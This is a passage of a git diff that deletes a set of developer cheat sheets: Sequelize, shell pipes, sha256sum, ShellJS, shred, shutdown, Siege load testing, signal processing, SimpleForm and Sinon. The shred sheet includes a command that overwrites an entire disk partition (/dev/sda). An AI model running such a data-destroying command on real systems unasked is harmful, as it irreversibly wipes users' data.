-$ npx sequelize-cli db:seed:undo
-```
-
-### Rollback all seeds
-
-```bash
-$ npx sequelize-cli db:seed:undo:all
-```
-
-## Migrations
-
-### Column Attribute Keywords
-
-```js
-<columnName>: {
-    type: Sequelize.<type>,
-    allowNull: <true|false>,
-    unique: <true|false>,
-    references: { model: <TableName> }, // This is the plural table name that the column references.
-}
-```
-
-## Model Associations
-
-### One to One between Student and Scholarship
-
-`student.js`
-
-```js
-Student.hasOne(models.Scholarship, { foreignKey: 'studentId' });
-```
-
-`scholarship.js`
-
-```js
-Scholarship.belongsTo(models.Student, { foreignKey: 'studentId' });
-```
-
-### One to Many between Student and Class
-
-`student.js`
-
-```js
-Student.belongsTo(models.Class, { foreignKey: 'classId' });
-```
-
-`class.js`
-
-```js
-Class.hasMany(models.Student, { foreignKey: 'classId' });
-```
-
-### Many to Many between Student and Lesson through StudentLessons table
-
-`student.js`
-
-```js
-const columnMapping = {
-    through: 'StudentLesson', // This is the model name referencing the join table.
-    otherKey: 'lessonId',
-    foreignKey: 'studentId'
-};
-
-Student.belongsToMany(models.Lesson, columnMapping);
-```
-
-`lesson.js`
-
-```js
-const columnMapping = {
-    through: 'StudentLesson', // This is the model name referencing the join table.
-    otherKey: 'studentId',
-    foreignKey: 'lessonId'
-};
-
-Lesson.belongsToMany(models.Student, columnMapping);
-```
-
-## Query Format
-
-### findOne
-
-```js
-<Model>.findOne({
-  where: {
-  	<column>: {
-  		[Op.<operator>]: <value>
-  	}
-  },
-});
-```
-
-### findAll
-
-```js
-<Model>.findAll({
-  where: {
-    <column>: {
-    	[Op.<operator>]: <value>
-    }
-  },
-  include: <include_specifier>,
-  offset: 10,
-  limit: 2
-});
-```
-
-### findByPk
-
-```js
-<Model>.findByPk(<primary_key>, {
-	include: <include_specifier>
-});
-```
-
-### Common Where Operators
-
-```js
-const Op = Sequelize.Op
-
-[Op.and]: [{a: 5}, {b: 6}] // (a = 5) AND (b = 6)
-[Op.or]: [{a: 5}, {a: 6}]  // (a = 5 OR a = 6)
-[Op.gt]: 6,                // > 6
-[Op.gte]: 6,               // >= 6
-[Op.lt]: 10,               // < 10
-[Op.lte]: 10,              // <= 10
-[Op.ne]: 20,               // != 20
-[Op.eq]: 3,                // = 3
-[Op.is]: null              // IS NULL
-[Op.not]: true,            // IS NOT TRUE
-[Op.between]: [6, 10],     // BETWEEN 6 AND 10
-[Op.notBetween]: [11, 15], // NOT BETWEEN 11 AND 15
-[Op.in]: [1, 2],           // IN [1, 2]
-[Op.notIn]: [1, 2],        // NOT IN [1, 2]
-[Op.like]: '%hat',         // LIKE '%hat'
-[Op.notLike]: '%hat'       // NOT LIKE '%hat'
-[Op.iLike]: '%hat'         // ILIKE '%hat' (case insensitive) (PG only)
-[Op.notILike]: '%hat'      // NOT ILIKE '%hat'  (PG only)
-[Op.startsWith]: 'hat'     // LIKE 'hat%'
-[Op.endsWith]: 'hat'       // LIKE '%hat'
-[Op.substring]: 'hat'      // LIKE '%hat%'
-[Op.regexp]: '^[h|a|t]'    // REGEXP/~ '^[h|a|t]' (MySQL/PG only)
-[Op.notRegexp]: '^[h|a|t]' // NOT REGEXP/!~ '^[h|a|t]' (MySQL/PG only)
-[Op.iRegexp]: '^[h|a|t]'    // ~* '^[h|a|t]' (PG only)
-[Op.notIRegexp]: '^[h|a|t]' // !~* '^[h|a|t]' (PG only)
-[Op.like]: { [Op.any]: ['cat', 'hat']}
-```
diff --git a/docs/content/cheat-sheets/sequelize.md b/docs/content/cheat-sheets/sequelize.md
deleted file mode 100644
index 252f2e302b..0000000000
--- a/docs/content/cheat-sheets/sequelize.md
+++ /dev/null
@@ -1,60 +0,0 @@
----
-title: Sequelize
-category: Ruby libraries
----
-
-### API
-
-    sequelize.sync().done -> ...
-
-### Models
-
-    Project = sequelize.define('Project', {
-      title: Sequelize.STRING,
-      description: Sequelize.TEXT,
-      myDate: { type: Sequelize.DATE, defaultValue: Sequelize.NOW },
-      title: { type: Sequelize.STRING, allowNull: false },
-      id: { type: Sequelize.INTEGER, autoIncrement: true, primaryKey: true },
-    }, {
-      classMethods: { ... },
-      instanceMethods: { ... }
-    });
-
-    Project.hasMany(Task)
-
-### Finders
-
-    Project.find(123).success (project) ->
-
-    Project.find({ where: {title: 'Hello'} })
-    Project.find({ where: {id: [1,3,4]} })
-    Project.find({ where: ["id > ?", 25] })
-
-    Project.find(
-      where: {title: 'a'}
-      attributes: ['id', ['name', 'title']]
-    )
-
-    .findOrCreate(...)
-
-    .findAll
-    .findAll({ where: ... })
-    .findAll({ order: 'title DESC' })
-    .findAll({ limit: 10 })
-    .findAll({ offset: 10, limit: 2 })
-
-    .count()
-
-### Build
-
-    item = Project.build({ ... })
-
-    item.title = '...'
-
-    item.save().success (item) ->
-
-    item.updateAttributes({ title: '...' })
-
-    item.destroy().success ->
-
-    item.values
diff --git a/docs/content/cheat-sheets/sequelize_cheatsheet.md b/docs/content/cheat-sheets/sequelize_cheatsheet.md
deleted file mode 100644
index a0ba977213..0000000000
--- a/docs/content/cheat-sheets/sequelize_cheatsheet.md
+++ /dev/null
@@ -1,181 +0,0 @@
-# sequelize_cheatsheet
-
-### Command Line <a href="#command-line" id="command-line"></a>
-
-Sequelize provides utilities for generating migrations, models, and seed files. They are exposed through the `sequelize-cli` command.
-
-```
-npm install sequelize@^5.0.0
-npm install sequelize-cli@^5.0.0
-npm install pg@^8.0.0
-```
-
-```
-$ npx sequelize-cli init
-```
-
-You must create a database user, and update the `config/config.json` file to match your database settings to complete the initialization process.
-
-```
-$ npx sequelize-cli db:create
-$ npx sequelize-cli db:create --env="test"
-```
-
-#### Generate a model and its migration <a href="#generate-a-model-and-its-migration" id="generate-a-model-and-its-migration"></a>
-
-```
-$ npx sequelize-cli model:generate --name <ModelName> --attributes <column1>:<type>,<column2>:<type>,...
-```
-
-```
-$ npx sequelize-cli db:migrate
-```
-
-```
-$ npx sequelize-cli db:migrate:undo
-```
-
-```
-$ npx sequelize-cli db:migrate:undo:all
-```
-
-```
-$ npx sequelize-cli seed:generate --name <descriptiveName>
-```
-
-```
-$ npx sequelize-cli db:seed:all
-```
-
-```
-$ npx sequelize-cli db:seed:undo
-```
-
-```
-$ npx sequelize-cli db:seed:undo:all
-```
-
-#### Column Attribute Keywords <a href="#column-attribute-keywords" id="column-attribute-keywords"></a>
-
-```
-<columnName>: {
-    type: Sequelize.<type>,
-    allowNull: <true|false>,
-    unique: <true|false>,
-    references: { model: <TableName> },
-}
-```
-
-#### One to One between Student and Scholarship <a href="#one-to-one-between-student-and-scholarship" id="one-to-one-between-student-and-scholarship"></a>
-
-`student.js`
-
-```
-    Student.hasOne(models.Scholarship, { foreignKey: 'studentId' });
-```
-
-`scholarship.js`
-
-```
-    Scholarship.belongsTo(models.Student, { foreignKey: 'studentId' });
-```
-
-#### One to Many between Student and Class <a href="#one-to-many-between-student-and-class" id="one-to-many-between-student-and-class"></a>
-
-`student.js`
-
-```
-    Student.belongsTo(models.Class, { foreignKey: 'classId' });
-```
-
-`class.js`
-
-```
-    Class.hasMany(models.Student, { foreignKey: 'classId' });
-```
-
-#### Many to Many between Student and Lesson through StudentLessons table <a href="#many-to-many-between-student-and-lesson-through-studentlessons-table" id="many-to-many-between-student-and-lesson-through-studentlessons-table"></a>
-
-`student.js`
-
-```
-    const columnMapping = {
-        through: 'StudentLesson',
-        otherKey: 'lessonId',
-        foreignKey: 'studentId'
-    }
-
-    Student.belongsToMany(models.Lesson, columnMapping);
-```
-
-`lesson.js`
-
-```
-    const columnMapping = {
-        through: 'StudentLesson',
-        otherKey: 'studentId',
-        foreignKey: 'lessonId'
-    }
-
-    Lesson.belongsToMany(models.Student, columnMapping);
-```
-
-```
-<Model>.findOne({
-  where: {
-  	<column>: {
-  		[Op.<operator>]: <value>
-  	}
-  },
-});
-```
-
-```
-<Model>.findAll({
-  where: {
-    <column>: {
-    	[Op.<operator>]: <value>
-    }
-  },
-  include: <include_specifier>,
-  offset: 10,
-  limit: 2
-});
-```
-
-```
-<Model>.findByPk(<primary_key>, {
-	include: <include_specifier>
-});
-```
-
-```
-const Op = Sequelize.Op
-
-[Op.and]: [{a: 5}, {b: 6}]
-[Op.or]: [{a: 5}, {a: 6}]
-[Op.gt]: 6,
-[Op.gte]: 6,
-[Op.lt]: 10,
-[Op.lte]: 10,
-[Op.ne]: 20,
-[Op.eq]: 3,
-[Op.is]: null
-[Op.not]: true,
-[Op.between]: [6, 10],
-[Op.notBetween]: [11, 15],
-[Op.in]: [1, 2],
-[Op.notIn]: [1, 2],
-[Op.like]: '%hat',
-[Op.notLike]: '%hat'
-[Op.iLike]: '%hat'
-[Op.notILike]: '%hat'
-[Op.startsWith]: 'hat'
-[Op.endsWith]: 'hat'
-[Op.substring]: 'hat'
-[Op.regexp]: '^[h|a|t]'
-[Op.notRegexp]: '^[h|a|t]'
-[Op.iRegexp]: '^[h|a|t]'
-[Op.notIRegexp]: '^[h|a|t]'
-[Op.like]: { [Op.any]: ['cat', 'hat']}
-```
diff --git a/docs/content/cheat-sheets/server-node-express.md b/docs/content/cheat-sheets/server-node-express.md
deleted file mode 100644
index 8478f72df2..0000000000
--- a/docs/content/cheat-sheets/server-node-express.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# Build a Back-End with Node/Express.js: Learn Node.js Cheatsheet
-
-> When you visit any website, it may store or retrieve information on your browser, mostly in the form of cookies. This information might be about you, your preferences or your device and is mostly used to make the site work as you expect it to. The information does not usually directly identify you, but it can give you a more personalized web experience. Because we respect your right to privacy, you can choose not to allow some types of cookies. Click on the different category headings to find out more and change our default settings. However, blocking some types of cookies may impact your experience of the site and the services we are able to offer.
-
-                        More information
-
-### Privacy Preference Center
-
-When you visit any website, it may store or retrieve information on your browser, mostly in the form of cookies. This information might be about you, your preferences or your device and is mostly used to make the site work as you expect it to. The information does not usually directly identify you, but it can give you a more personalized web experience. Because we respect your right to privacy, you can choose not to allow some types of cookies. Click on the different category headings to find out more and change our default settings. However, blocking some types of cookies may impact your experience of the site and the services we are able to offer. [More information](https://cookiepedia.co.uk/giving-consent-to-cookies)
-
-### Manage Consent Preferences
-
-Always Active
-
-Strictly Necessary Cookies
-
-These cookies are necessary for the website to function and cannot be switched off in our systems. They are usually only set in response to actions made by you which amount to a request for services, such as setting your privacy preferences, logging in or filling in forms. You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information.
-
-Functional Cookies
-
-These cookies enable the website to provide enhanced functionality and personalisation. They may be set by us or by third party providers whose services we have added to our pages. If you do not allow these cookies then some or all of these services may not function properly.
-
-Targeting Cookies
-
-These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising.
-
-Performance Cookies
-
-These cookies allow us to count visits and traffic sources so we can measure and improve the performance of our site. They help us to know which pages are the most and least popular and see how visitors move around the site. All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance.
-
-[Source](https://www.codecademy.com/learn/becp-build-a-back-end-with-node-express-js/modules/fscp-learn-node-js/cheatsheet)
diff --git a/docs/content/cheat-sheets/sh-pipes.md b/docs/content/cheat-sheets/sh-pipes.md
deleted file mode 100644
index 57714f3038..0000000000
--- a/docs/content/cheat-sheets/sh-pipes.md
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: 'Shell: named pipes'
-category: CLI
----
-
-### Named pipes
-
-```sh
-diff <(ls ./old) <(ls ./new)
-```
-
-This creates a virtual file with the contents of the output of `ls ./old`.
-
-### References
-
--   [Named pipe](https://en.wikipedia.org/wiki/Named_pipe) _(wikipedia.org)_
diff --git a/docs/content/cheat-sheets/sh.md b/docs/content/cheat-sheets/sh.md
deleted file mode 100644
index 474e9e40cf..0000000000
--- a/docs/content/cheat-sheets/sh.md
+++ /dev/null
@@ -1,5 +0,0 @@
----
-title: Shell scripting
-category: CLI
-redirect_to: /bash
----
diff --git a/docs/content/cheat-sheets/sha256sum.md b/docs/content/cheat-sheets/sha256sum.md
deleted file mode 100644
index 6998fe737e..0000000000
--- a/docs/content/cheat-sheets/sha256sum.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-tags: [cryptography, hash, checksum, verification]
----
-
-# To compute hash (checksum) of <file>:
-
-sha256sum <file>
-
-# To compute hash (checksum) from input text:
-
-# Enter text in keyboard and finish by ctrl-D at beginning of line
-
-sha256sum
-Some text
-^D
-
-echo -n "Hello World" | sha256sum
-
-# To verify if a hash (checksum) is correct if a hash-file is provided:
-
-# sha256sum will go thru the files listed in <file-with-list-of-checksums>.
-
-# For each file it will look if it exists. If not, it will print an error.
-
-# If it does exist it will compute the checksum and compare it with the hash
-
-# provided in the <file-with-list-of-checksums>. If they match (good!) it
-
-# will print "filename: OK".
-
-# If they don't match (warning, you might have been hacked), it will
-
-# print "filename: FAILED".
-
-sha256sum --check <file-with-list-of-checksums>
-
-# Same as above (but ignore missing files):
-
-# This tells you if your file is an exact copy (OK) or has been
-
-# tampered with (FAILED) without bothering you with warnings about
-
-# missing files
-
-sha256sum --check --ignore-missing <file-with-list-of-checksums>
diff --git a/docs/content/cheat-sheets/shelljs.md b/docs/content/cheat-sheets/shelljs.md
deleted file mode 100644
index 2874248756..0000000000
--- a/docs/content/cheat-sheets/shelljs.md
+++ /dev/null
@@ -1,148 +0,0 @@
----
-title: Shell.js
-category: JavaScript libraries
-
-weight: -1
-intro: |
-    [ShellJS](https://github.com/shelljs/shelljs) is a portable (Windows/Linux/OS X) implementation of Unix shell commands on top of the Node.js API.
----
-
-### Example
-
-```js
-var shell = require('shelljs');
-```
-
-```js
-if (!shell.which('git')) {
-    shell.echo('Sorry, this script requires git');
-    shell.exit(1);
-}
-```
-
-```js
-// Copy files to release dir
-shell.rm('-rf', 'out/Release');
-shell.cp('-R', 'stuff/', 'out/Release');
-```
-
-```js
-// Replace macros in each .js file
-shell.cd('lib');
-shell.ls('*.js').forEach(function (file) {
-    shell.sed('-i', 'BUILD_VERSION', 'v0.1.2', file);
-    shell.sed('-i', /^.*REMOVE_THIS_LINE.*$/, '', file);
-    shell.sed('-i', /.*REPLACE_LINE_WITH_MACRO.*\n/, shell.cat('macro.js'), file);
-});
-shell.cd('..');
-```
-
-```js
-// Run external tool synchronously
-if (shell.exec('git commit -am "Auto-commit"').code !== 0) {
-    shell.echo('Error: Git commit failed');
-    shell.exit(1);
-}
-```
-
-Taken from the [Readme](https://github.com/shelljs/shelljs).
-
-### Require
-
-```js
-const sh = require('shelljs');
-```
-
-### Paths
-
-```js
-sh.cd('dir');
-```
-
-```js
-sh.mkdir('dir');
-sh.mkdir('-p', 'dir');
-```
-
-### File manipulation
-
-```js
-sh.cp('src', 'dest');
-sh.cp('-rf', 'src', 'dest');
-```
-
-```js
-sh.rm('file');
-sh.rm('-rf', 'file');
-```
-
-```js
-sh.mv('src', 'dest');
-sh.mv(['src1', 'src2'], 'dest');
-```
-
-```js
-sh.chmod('644', 'file');
-sh.chmod(755, 'file');
-sh.chmod('u+x', 'file');
-```
-
-### Tests
-
-```js
-sh.test('-b', 'path'); // block device
-sh.test('-d', 'path'); // dir
-sh.test('-e', 'path'); // exists
-sh.test('-f', 'path'); // file
-sh.test('-L', 'path'); // symlink
-```
-
-### Cat and output
-
-```js
-src = sh.cat('file*.txt');
-```
-
-```js
-'hello'.to('output.txt');
-'hello'.toEnd('append.txt');
-```
-
-```js
-sh.cat('input.txt').to('output.txt');
-```
-
-### Utils
-
-```js
-sh.which('x');
-sh.pwd();
-```
-
-```js
-sh.echo('hi');
-```
-
-```js
-sh.exec('node --version').code;
-sh.exec('node --version').output;
-sh.exec('node --version', { silent: true }).output;
-```
-
-```js
-sh.exec('node --version', (code, output) => {
-    sh.echo(`exit code ${code}`);
-});
-```
-
-```js
-sh.tempdir();
-```
-
-```js
-sh.error(); // null if no error
-```
-
-## Also see
-
--   <https://github.com/shelljs/shelljs>
diff --git a/docs/content/cheat-sheets/shred.md b/docs/content/cheat-sheets/shred.md
deleted file mode 100644
index 27704df200..0000000000
--- a/docs/content/cheat-sheets/shred.md
+++ /dev/null
@@ -1,17 +0,0 @@
-# To shred a file (5 passes) and verbose output:
-
-shred -n 5 -v <file>
-
-# To shred a file (5 passes) and a final overwrite of zeroes:
-
-shred -n 5 -vz <file>
-
-# To do the above, and then truncate and rm the file:
-
-shred -n 5 -vzu <file>
-
-# To shred a partition:
-
-shred -n 5 -vz /dev/sda
-
-# Remember that shred may not behave as expected on journaled file systems if file data is being journaled.
diff --git a/docs/content/cheat-sheets/shutdown.md b/docs/content/cheat-sheets/shutdown.md
deleted file mode 100644
index 13d9fb2f2d..0000000000
--- a/docs/content/cheat-sheets/shutdown.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# To reboot the system immediately:
-
-shutdown -r now
-
-# To shut system down immediately:
-
-shutdown -h now
-
-# To reboot system after 5 minutes:
-
-shutdown -r +5
-
-# To cancel a scheduled shutdown:
-
-shutdown -c
diff --git a/docs/content/cheat-sheets/siege.md b/docs/content/cheat-sheets/siege.md
deleted file mode 100644
index 9307623039..0000000000
--- a/docs/content/cheat-sheets/siege.md
+++ /dev/null
@@ -1,49 +0,0 @@
----
-title: Siege
-category: Others
-
-intro: |
-    [Siege](https://www.joedog.org/siege-home/) is an HTTP and HTTPS load testing tool.
----
-
-### Basic usage
-
-```sh
-siege -b -c=10 -t=5m "http://..."
-```
-
-### Options
-
-#### Repetitions
-
-```
--c, --concurrent=N
--t, --time=MINSm
--r, --reps=N
-```
-
-#### Modes
-
-```
--i, --internet       Hit URLs randomly
--b, --benchmark      No delay between requests
-```
-
-#### Configuration
-
-```
--f, --file=FILE      load urls.txt
--R, --rc=FILE        load siegerc
-```
-
-#### Headers
-
-```
--H, --header="Cookie: foo=bar"
--A, --user-agent="Mozilla"
--T, --content-type="text/html"
-```
-
-### References
-
-Also see: [siegerc](https://gist.github.com/stansmet/3067988)
diff --git a/docs/content/cheat-sheets/signal-processing-cheat-sheet.md b/docs/content/cheat-sheets/signal-processing-cheat-sheet.md
deleted file mode 100644
index 0b64994125..0000000000
--- a/docs/content/cheat-sheets/signal-processing-cheat-sheet.md
+++ /dev/null
@@ -1,141 +0,0 @@
-# Signals & Systems For Dummies Cheat Sheet - dummies
-
-> Signals and systems is an aspect of electrical engineering that applies mathematical concepts to the creation of product design, such as cell phones and automobile cruise control systems. Absorbing the core concepts of signals and systems requires a firm grasp on their properties and classifications; a solid knowledge of algebra, trigonometry, complex arithmetic, calculus of […]
-
-2.  [Education](https://www.dummies.com/education/)
-3.  [Science](https://www.dummies.com/education/science/)
-4.  Signals & Systems For Dummies Cheat Sheet
-
-Signals and systems is an aspect of electrical engineering that applies mathematical concepts to the creation of product design, such as cell phones and automobile cruise control systems. Absorbing the core concepts of signals and systems requires a firm grasp on their properties and classifications; a solid knowledge of algebra, trigonometry, complex arithmetic, calculus of one variable; and familiarity with linear constant coefficient (LCC) differential equations.
-
-## Getting to Know the Mathematical Foundation of Signals and Systems
-
-The study of signals and systems establishes a mathematical formalism for analyzing, modeling, and simulating electrical systems in the time, frequency, and _s\_\_-_ or _z\_\_-\_domains. Signals exist naturally and are also created by people. Some operate continuously (known as \_continuous-time signals_); others are active at specific instants of time (and are called _discrete-time signals_).
-
-Signals pass through systems to be modified or enhanced in some way. Systems that operate on signals are also categorized as continuous- or discrete-time.
-
-Mathematics plays a central role in all facets of signals and systems. Specifically, complex arithmetic, trigonometry, and geometry are mainstays of this dynamic and (ahem) electrifying field of work and study. This article highlights the most applicable concepts from each of these areas of math for signals and systems work.
-
-## Complex arithmetic for signals and systems
-
-Here are some of the most important complex arithmetic operations and formulas that relate to signals and systems.
-
-![image0.jpg](https://www.dummies.com/wp-content/uploads/375142.image0.jpg)
-
-## Trigonometry and Euler's formulas
-
-This table presents the key formulas of trigonometry that apply to signals and systems:
-
-![image1.jpg](https://www.dummies.com/wp-content/uploads/375143.image1.jpg)
-
-## Geometric series
-
-Among the most important geometry equations to know for signals and systems are these three:
-
-![image2.jpg](https://www.dummies.com/wp-content/uploads/375144.image2.jpg)
-
-## Recognizing Signal Properties and Classifications
-
-Signals — both continuous-time signals and their discrete-time counterparts — are categorized according to certain properties, such as deterministic or random, periodic or aperiodic, power or energy, and even or odd. These traits aren't mutually exclusive; signals can hold multiple classifications.
-
-Here are some of the most important signal properties.
-
-![image0.jpg](https://www.dummies.com/wp-content/uploads/375167.image0.jpg)
-
-But wait! There's more. Signals can also be categorized as exponential, sinusoidal, or a special sequence. The unit sample sequence and the unit step sequence are special signals of interest in discrete-time. All the continuous-time signal classifications have discrete-time counterparts, except singularity functions, which appear in continuous-time only.
-
-Defining special signals that serve as building blocks for more complex signals makes the creation of custom signal models to suit your needs more systematic and convenient.
-
-![image1.jpg](https://www.dummies.com/wp-content/uploads/375168.image1.jpg)
-
-## Recognizing System Properties and Classifications
-
-Part of learning about signals and systems is that systems are identified according to certain properties they exhibit. Have a look at the core system classifications:
-
--   **Linearity:** A linear combination of individually obtained outputs is equivalent to the output obtained by the system operating on the corresponding linear combination of inputs.
--   **Time-invariant:** The system properties don't change with time. A present input produces the same response as it does in the future, less the time shift factor between the present and future.
--   **Memoryless:** If the present system output depends only on the present input, the system is memoryless.
--   **Causal:** The present system output depends at most on the present and past inputs. Future inputs can't be used to produce the present output.
--   **Stable:** A system is bounded-input bound-output (BIBO) stable if all bounded inputs produce a bounded output.
-
-This table presents core linear time invariant (LTI) system properties for both continuous and discrete-time systems. Time-domain, frequency-domain, and _s_/_z_\-domain properties are identified for the categories basic input/output, cascading, linear constant coefficient (LCC) differential and difference equations, and BIBO stability:
-
-![image0.jpg](https://www.dummies.com/wp-content/uploads/375149.image0.jpg)
-
-## Signals and Systems: Working with Transform Theorems and Pairs
-
-Both signals and systems can be analyzed in the time-, frequency-, and _s\_\_-_ and \_z\_\_-\_domains. Leaving the time-domain requires a transform and then an inverse transform to return to the time-domain.
-
-As you work to and from the time domain, referencing tables of both transform theorems and transform pairs can speed your progress and make the work easier. Use this table of common pairs for the continuous-time Fourier transform, discrete-time Fourier transform, the Laplace transform, and the _z_\-transform as needed.
-
-Working in the frequency domain means you are working with Fourier transform and discrete-time Fourier transform — in the _s_\-domain.
-
-## Using Fourier transforms for continuous-time signals
-
-Here is a short table of theorems and pairs for the continuous-time Fourier transform (FT), in both frequency variable
-
-![image0.png](https://www.dummies.com/wp-content/uploads/375151.image0.png)
-
-The forward and inverse transforms for these two notational schemes are defined as:
-
-![image1.png](https://www.dummies.com/wp-content/uploads/375152.image1.png)
-
-. . . and here's the table:
-
-![image2.jpg](https://www.dummies.com/wp-content/uploads/375153.image2.jpg)
-
-## Applying Fourier transform to discrete-time signals
-
-For discrete-time signals and systems the discrete-time Fourier transform (DTFT) takes you to the frequency domain. A short table of theorems and pairs for the DTFT can make your work in this domain much more fun. The discrete-time frequency variable is
-
-![image3.png](https://www.dummies.com/wp-content/uploads/375154.image3.png)
-
-The forward and inverse transforms are defined as:
-
-![image4.png](https://www.dummies.com/wp-content/uploads/375155.image4.png)
-
-. . . and here's the table:
-
-![image5.jpg](https://www.dummies.com/wp-content/uploads/375156.image5.jpg)
-
-## Using the Laplace transform in the s-domain
-
-For continuous-time signals and systems, the one-sided Laplace transform (LT) helps to decipher signal and system behavior. It's also the best approach for solving linear constant coefficient differential equations with nonzero initial conditions. The one-sided LT is defined as:
-
-![image6.png](https://www.dummies.com/wp-content/uploads/375157.image6.png)
-
-The inverse LT is typically found using partial fraction expansion along with LT theorems and pairs. Here's a short table of LT theorems and pairs.
-
-![image7.jpg](https://www.dummies.com/wp-content/uploads/375158.image7.jpg)
-
-## Letting the z-Transform help with signals and systems analysis
-
-For discrete-time signals and systems, the _z_\-transform (ZT) is the counterpart to the Laplace transform. With the ZT you can characterize signals and systems as well as solve linear constant coefficient difference equations. The two-sided ZT is defined as:
-
-![image8.png](https://www.dummies.com/wp-content/uploads/375159.image8.png)
-
-The inverse ZT is typically found using partial fraction expansion and the use of ZT theorems and pairs. Here is a short table of ZT theorems and pairs.
-
-![image9.jpg](https://www.dummies.com/wp-content/uploads/375160.image9.jpg)
-
-## Exploring Signals and Systems: Core Concepts of Sampling Theory
-
-Sampling theory links continuous and discrete-time signals and systems. For example, you can get a discrete-time signal from a continuous-time signal by taking samples every _T_ seconds. This article points out some useful relationships associated with sampling theory. Key concepts include the low-pass sampling theorem, the frequency spectrum of a sampled continuous-time signal, reconstruction using an ideal lowpass filter, and the calculation of alias frequencies.
-
-The table of properties begins with a block diagram of a discrete-time processing subsystem that produces continuous-time output _y_(_t_) from continuous-time input _x_(_t_). This block diagram motivates the sampling theory properties in the remainder of the table.
-
-The process of converting continuous-time signal _x_(_t_) to discrete-time signal _x_\[_n_\] requires sampling, which is implemented by the analog-to-digital converter (ADC) block. The block with frequency response
-
-![image0.png](https://www.dummies.com/wp-content/uploads/375162.image0.png)
-
-represents a linear time invariant system with input _x_\[_n_\] and output _y_\[_n_\]. The discrete-time signal _y_\[_n_\] is returned to the continuous-time domain via a digital-to-analog converter and a reconstruction filter.
-
-![image1.jpg](https://www.dummies.com/wp-content/uploads/375163.image1.jpg)
-
-## Synthesizing Signals with the Fourier Series
-
-Periodic signals can be synthesized as a linear combination of harmonically related complex sinusoids. The theory of Fourier series provides the mathematical tools for this synthesis by starting with the analysis formula, which provides the Fourier coefficients _X\_\_n_ corresponding to periodic signal _x_(_t_) having period \_T_0.
-
-Common periodic signals include the square wave, pulse train, and triangle wave. This table shows the Fourier series analysis and synthesis formulas and coefficient formulas for _X\_\_n_ in terms of waveform parameters for the provided waveform sketches:
-
-![image0.jpg](https://www.dummies.com/wp-content/uploads/375165.image0.jpg)
diff --git a/docs/content/cheat-sheets/simple_form.md b/docs/content/cheat-sheets/simple_form.md
deleted file mode 100644
index b5abe3289c..0000000000
--- a/docs/content/cheat-sheets/simple_form.md
+++ /dev/null
@@ -1,20 +0,0 @@
----
-title: SimpleForm
-
-tags: [WIP]
----
-
-### Inputs
-
-```ruby
-<%= f.input :email, required: false, autofocus: true %>
-<%= f.input :password, required: false %>
-<%= f.input :remember_me, as: :boolean %>
-<%= f.button :submit, "Sign in" %>
-```
-
-### Adding a wrapper
-
-```ruby
-simple_form_for @x, wrapper: :small
-```
diff --git a/docs/content/cheat-sheets/sinon-chai.md b/docs/content/cheat-sheets/sinon-chai.md
deleted file mode 100644
index 60d50b8327..0000000000
--- a/docs/content/cheat-sheets/sinon-chai.md
+++ /dev/null
@@ -1,60 +0,0 @@
----
-title: Sinon-chai
-category: JavaScript libraries
-layout: default-ad
----
-
--   [Sinon-chai](https://github.com/domenic/sinon-chai)
-
-### Initialization
-
-```js
-var sinon = require('sinon');
-require('chai').use(require('sinon-chai'));
-```
-
-### Assert
-
-    expect(spy).called
-    expect(spy).calledOnce
-    expect(spy).calledTwice
-    expect(spy).calledThrice
-    expect(spy).calledBefore
-    expect(spy).calledAfter
-    expect(spy).calledWithNew
-    expect(spy).alwaysCalledWithNew
-    expect(spy).calledOn
-    expect(spy).alwaysCalledOn
-    expect(spy).calledWith
-    expect(spy).alwaysCalledWith
-    expect(spy).calledWithExactly
-    expect(spy).alwaysCalledWithExactly
-    expect(spy).calledWithMatch
-    expect(spy).alwaysCalledWithMatch
-    expect(spy).returned
-    expect(spy).alwaysReturned
-    expect(spy).threw
-    expect(spy).alwaysThrew
-
-### Should
-
-    spy.should.have.been.called
-    spy.should.have.been.calledOnce
-    spy.should.have.been.calledTwice
-    spy.should.have.been.calledThrice
-    spy1.should.have.been.calledBefore(spy2)
-    spy1.should.have.been.calledAfter(spy2)
-    spy.should.have.been.calledWithNew
-    spy.should.always.have.been.calledWithNew
-    spy.should.have.been.calledOn(context)
-    spy.should.always.have.been.calledOn(context)
-    spy.should.have.been.calledWith(...args)
-    spy.should.always.have.been.calledWith(...args)
-    spy.should.always.have.been.calledWithExactly(...args)
-    spy.should.always.have.been.calledWithExactly(...args)
-    spy.should.have.been.calledWithMatch(...args)
-    spy.should.always.have.been.calledWithMatch(...args)
-    spy.should.have.returned(returnVal)
-    spy.should.have.always.returned(returnVal)
-    spy.should.have.thrown(errorObjOrErrorTypeStringOrNothing)
-    spy.should.have.always.thrown(errorObjOrErrorTypeStringOrNothing)
diff --git a/docs/content/cheat-sheets/sinon.md b/docs/content/cheat-sheets/sinon.md
deleted file mode 100644
index 1adb18471a..0000000000
--- a/docs/content/cheat-sheets/sinon.md
+++ /dev/null
@@ -1,123 +0,0 @@
----
-title: Sinon
-category: JavaScript libraries
-
-weight: -1
----
-
-### Creating spies
-
-```js
-fn = sinon.spy();
-fn();
-```
-
-```js
-fn.calledOnce == true;
-fn.callCount == 1;
-```
-
-### Spying/stubbing
-
-```js
-sinon.spy($, 'ajax');
-```
-
-```js
-$.ajax();
-$.ajax.calledOnce == true;
-```
-
-```js
-sinon.stub($, 'ajax', function () { ... }) // function optional
-```
-
-```js
-$.ajax.calledWithMatch({ url: '/x' });
-$.ajax.restore();
-```
-
-### Spy/stub properties
-
-```js
-spy.args.thisValues.returnValues; //=> [ [..], [..] ] one per call
-```
-
-```js
-  .called      //=> true
-  .notCalled
-  .callCount
-  .calledOnce
-  .calledTwice
-  .calledThrice
-```
-
-```js
-  .getCalls()   //=> Array
-  .getCall(0)
-  .firstCall
-```
-
-### Anonymous stub
-
-```js
-stub = sinon.stub().returns(42);
-stub() == 42;
-```
-
-```js
-stub.withArgs(42).returns(1).withArgs(43).throws('TypeError');
-```
-
-```js
-stub.returns(1)
-    .throws('TypeError')
-    .returnsArg(0) // Return 1st argument
-    .callsArg(0);
-```
-
-### Fake date
-
-```js
